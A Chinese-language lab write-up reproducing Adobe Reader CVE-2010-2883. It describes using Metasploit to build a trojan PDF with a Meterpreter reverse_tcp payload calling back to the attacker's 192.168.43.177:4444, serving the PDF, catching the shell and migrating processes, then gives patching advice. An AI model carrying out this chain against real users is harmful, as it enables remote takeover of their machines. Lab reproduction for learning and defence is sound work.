[漏洞复现]Adobe Reader CVE-2010-2883

1、漏洞原理

Adobe Reader在处理CoolType字体文件的sing表时，存在栈溢出漏洞，当打开特制的恶意PDF文件时，可允许任意代码远程执行
影响版本：Adobe Reader 8.2.4 - 9.3.4

2、漏洞复现环境

Kali Linux + Windows 7 sp1
渗透机：Kali Linux (ip：192.168.43.177)
靶机：Windows 7 sp1 (ip：192.168.43.196)
软件：Adobe Reader 9.3.exe 下载地址ftp://ftp.adobe.com/pub/adobe/reader/win/9.x/9.3/chs/AdbeRdr930_zh_CN.exe

3、实验流程

3.1 进入Kali Linux，使用Metasploit生成PDF木马文件

CVE-2010-2883的exploit模块

生成木马pdf,回连地址为192.168.43.177,端口为4444

image.png

3.2 将pdf木马拷贝到windows

移动木马文件

在kali上搭建http服务器，windows下载测试pdf文件
下载地址为 htttp://192.168.43.177:8000/CVE-2010-2883.pdf

利用python搭建简单的web服务器

3.3 Metasploit开启shell监听会话，等待肉鸡上线

使用expolit/multi/handler
set payload windows/meterpreter/reverse_tcp
监听的地址和端口与上面的一致

等待回连

3.4 在Windows 7安装Adobe Reader 9.3，打开pdf

使用Adobe Reader 9.3打开木马pdf，会卡壳

打开木马pdf

3.5 Metasploit获取shell会话，并用Meterpreter控制肉鸡

image.png

image.png

切换进程，getshell

切换进程(考虑到这个漏洞利用过程，adobe reader会“卡壳”退出，所以需要快速切换到其他系统进程，这样会话才不会失效)

image.png

4、实验总结：

可以看到，最终由于Adobe Reader 存在CVE-2010-2883这个高危漏洞，导致电脑打开特殊定制的pdf之后，直接变成肉鸡。与之前文章中的Office和Flash 0day漏洞类似，真实环境下，很多黑客会利用此方法，结合社会工程学，例如通过诱导邮件、各种论坛、QQ群、微信群等多渠道，诱导用户下载并打开，而只要打开的用户，就直接中招。

在这里也呼吁大家：平常要非常小心陌生办公文件，无论是pdf还是word等，打开之前一定要明确来源，或者用杀毒软件先杀毒，再打开。另外，就是尽量保证电脑的软件处于最新版，这样才能最大程度降低被攻击的几率。

5、 漏洞修复

①直接到Adobe官网，下载Adobe Reader最新版本；
②安装常见杀毒软件，开启实时防护和杀毒引擎实时升级

参考资料

https://blog.51cto.com/chenxinjie/2094140